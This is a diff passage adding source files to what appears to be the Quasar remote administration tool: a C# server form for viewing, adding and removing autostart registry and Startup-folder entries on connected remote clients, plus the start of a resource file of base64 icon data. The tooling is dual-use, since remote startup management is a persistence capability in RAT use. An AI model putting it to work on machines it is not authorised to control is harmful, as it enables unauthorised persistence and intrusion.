Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmStartupManager : Form + { + /// + /// The client which can be used for the startup manager. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly StartupManagerHandler _startupManagerHandler; + + /// + /// Holds the opened startup manager form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new startup manager form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the startup manager form. + /// + /// Returns a new startup manager form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmStartupManager CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmStartupManager f = new FrmStartupManager(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote desktop form. + public FrmStartupManager(Client client) + { + _connectClient = client; + _startupManagerHandler = new StartupManagerHandler(client); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the startup manager message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _startupManagerHandler.ProgressChanged += StartupItemsChanged; + MessageHandler.Register(_startupManagerHandler); + } + + /// + /// Unregisters the startup manager message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_startupManagerHandler); + _startupManagerHandler.ProgressChanged -= StartupItemsChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void FrmStartupManager_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Startup Manager", _connectClient); + + AddGroups(); + _startupManagerHandler.RefreshStartupItems(); + } + + private void FrmStartupManager_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + } + + /// + /// Adds all supported startup types as ListView groups. + /// + private void AddGroups() + { + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") + {Tag = StartupType.LocalMachineRun}); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce") + {Tag = StartupType.LocalMachineRunOnce}); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run") + {Tag = StartupType.CurrentUserRun}); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce") + {Tag = StartupType.CurrentUserRunOnce}); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run") + { Tag = StartupType.LocalMachineRunX86 }); + lstStartupItems.Groups.Add( + new ListViewGroup("HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\RunOnce") + { Tag = StartupType.LocalMachineRunOnceX86 }); + lstStartupItems.Groups.Add(new ListViewGroup("%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") + {Tag = StartupType.StartMenu}); + } + + /// + /// Called whenever a startup item changed. + /// + /// The message handler which raised the event. + /// The current startup items of the client. + private void StartupItemsChanged(object sender, List startupItems) + { + if (IsDisposed || !IsHandleCreated) return; + if (startupItems == null) return; + + if (this.InvokeRequired) + { + try { this.Invoke((MethodInvoker)(() => StartupItemsChanged(sender, startupItems))); } + catch (ObjectDisposedException) { } + return; + } + + lstStartupItems.Items.Clear(); + + foreach (var item in startupItems) + { + if (item == null) continue; + var group = lstStartupItems.Groups.Cast() + .FirstOrDefault(x => x.Tag is StartupType t && t == item.Type); + if (group == null) continue; + ListViewItem lvi = new ListViewItem(new[] { item.Name ?? "", item.Path ?? "" }) { Group = group, Tag = item }; + lstStartupItems.Items.Add(lvi); + } + } + + private void addEntryToolStripMenuItem_Click(object sender, EventArgs e) + { + using (var frm = new FrmStartupAdd()) + { + if (frm.ShowDialog() == DialogResult.OK) + { + _startupManagerHandler.AddStartupItem(frm.StartupItem); + _startupManagerHandler.RefreshStartupItems(); + } + } + } + + private void removeEntryToolStripMenuItem_Click(object sender, EventArgs e) + { + bool modified = false; + + foreach (ListViewItem item in lstStartupItems.SelectedItems) + { + _startupManagerHandler.RemoveStartupItem((StartupItem)item.Tag); + modified = true; + } + + if (modified) + { + _startupManagerHandler.RefreshStartupItems(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.resx new file mode 100755 index 0000000..b8bc596 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmStartupManager.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + k/+ShoD/mY6J/6CXkv+mnJf/r6Sf/6memP+bjoj/fG5p/1lJQ/88LCX/Lx8Y/zMiG/85KSL/OCgi/zkp + Iv85KCH/OCgh/zIiG/8/Lyjjb19YZf///wH///8B////Af///wFSQjt/Oysk8TQkHf83KCH/OSki/zop + Iv8wHxj/KhgQ/1lKRP+imJT/3NnX/9/b2f/Iwr//kYeC/2tdV/9SRD3/Py4o/zgnH/8yIRn/IRAN/3tu + af/z8fD/7evq/2xeWP8lFA3/Lx8Y/zAfGP82Jh//QTAp/1BAOv9sXVb/in13/6GVj/+lmpX/cGNd/zsr + JP8pGBD/OCgh/zkpIv84KCH/OSki/zMjHP8/LyjjbV5XZ////wH///8B////Af///wFTQzx9Oysk8TQk + Hf84KCH/NSUe/y4cFf9RQDn/v7i1/+bj4v/Gwb7/dmlk/z8vKP8qGBD/JhQN/ykZEv8yIhv/OSki/zoq + I/88LCX/MyIZ/6qgnP/7+vr/+fj4/5mPjP8uHhf/PCwl/zoqI/85KSP/OSki/zUlHv8rGxT/JhUN/y8e + F/9GNi//gHNt/5+Uj/9+cWv/NiYe/zIiG/84KCH/OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf84KCH/MCAZ/3BiXP/X0s//zMbD/3dqZP89LCX/KhkS/y8eF/81JR7/OSki/zkp + Iv83JyD/MyMc/zEhGv8tHBb/OCkl/83HxP/+/v7//f39/763tP8yIx//MiIb/zUlHv84KCH/OCgi/zkp + Iv85KSL/OCgh/zUkHf8vHhf/MB4X/0U1Lv98bmj/kIF6/0Y2L/8zIxz/OSki/zMjHP8+LifjbV5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf8yIRv/YVJL/+Hd2v/JwsD/QzIr/y0cFf8zIhv/Nycg/zgo + If83JyD/MSEa/ywcFf80JB3/RTUu/1VFPv9dTUb/f3Br/9/Uz//w5eD/9Ovm/+Tc2P9+b2r/WEhB/0g4 + Mf85KSL/OCgh/zcnIP84KCH/Nycg/zcnIP85KSL/Nycg/zQjHP8xIBn/YlNM/4t7dP89LSb/OCgh/zMj + HP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TMjHP8uHRb/ysK//8zGxP9ALyj/MSEa/zkp + Iv84KCH/Nycg/zMjHP85KSL/bFxV/5uLhP+3p6D/y7u0/9XFvv/fz8j/2cnC/7yrpP+jkov/g3Fq/3Ff + WP9uXlj/X09I/1FBOv84KCH/MiIb/zEhGv8zIxz/NiYf/zcnIP84KCH/OSki/zkoIf85KSL/Lh4X/2VV + Tv9zYlz/MiIb/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFTQzx9Oysk8TAgGf87KyT/8/Hw/5eM + iP8pGRP/Oioj/zcnH/82Jh//NCQd/0U1Lv+djYb/08O8/9fHwP/Swrv/1MS9/9PDu/+mlpD/YlNN/0Q2 + Mv9AMCv/Szoy/1dGP/9iUUv/bl5X/3JjW/9yYlv/ZVVO/1ZGP/9DMyz/MCAZ/y4eF/81JR7/OSki/zkp + Iv84KCH/NCQd/0MyLP+AcGn/KxsU/zQkHf8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TIj + G/83JyD/pJiT/2ZYUf8yIRr/OCgh/zQkHf84KCH/OCgh/5WFfv/Wxr//zb63/8y8tf/Ovrf/yrqz/25g + W/8wIh//YFNO/5eMif+8sq7/2M7K/97Tzv/ZysP/z762/9PCu//Xx8D/zLy1/8a2r/+1pZ7/jHx1/1dH + QP8wIBn/NCQd/zkpIv84KCH/NSUe/0IyK/94aGH/LR0W/zQkHf8+Lifjbl5XZf///wH///8B////Af// + /wFTQzx9Oysk8TQkHf83JyD/KBYP/zEhGf86KiP/NCQd/3RkXf9aSkP/Szs0/8OzrP/Pv7j/zLy1/86+ + t//Swrv/WUtG/1JHRP/IwL3//Pz7///+/v///v7///////7+/v/8+/v/7+fj/8O0rv+vnpf/0cK7/9HB + uv/Swrv/2cnC/9bGv/+pmZL/QTEq/zMjHP84KCH/MyMc/2hYUf9WRj//Nycg/zMjHP8+Lifjbl5XZf// + /wH///8B////Af///wFTQzx9Oysk8TQkHf83KCD/NiYf/zgoIf82Jh//QjIr/7Kim/9nV1D/QDAp/7mp + ov/Tw7z/y7u0/9PDvP+vn5j/Rzo0/9DLyP/+/f3///7+///+/v/+/v7////////+/v/+/v7//v7+/+vm + 5P+cjYf/e2tk/8Gxqv/QwLn/y7u0/9DAuf/aysP/nIyF/zkpIv8wIBn/XU1G/2lZUv84KCH/OSki/zMj + HP8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TQkHf84KCH/OCgh/zkpIv8xIRr/UUE6/8m5 + sv+Whn//JhYP/3NjXP/Rwbr/1MO8/9bFv/+nl4//bmFc//v5+f///v7///7+//7+/v/////////////+ + /v///v7///////79/f/g1M7/YE9J/11NR//Gtq//z7+4/8y8tf/Ovrf/x7ew/1ZGP/9VRT7/W0tE/zkp + Iv82Jh//OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv81JR7/Rzcw/7urpP/ZycL/cmJb/y4eF/9JOTP/nIyF/7+vqP/MvLX/koJ8/9XPzP/9/Pz///////// + /////////////////////////v39//Hq5//Xx8D/oZGK/ywcGP+IeHL/2cnC/8y8tf/Nvbb/x7ew/1dH + QP85KSL/MiIb/zcnIP83KCH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + 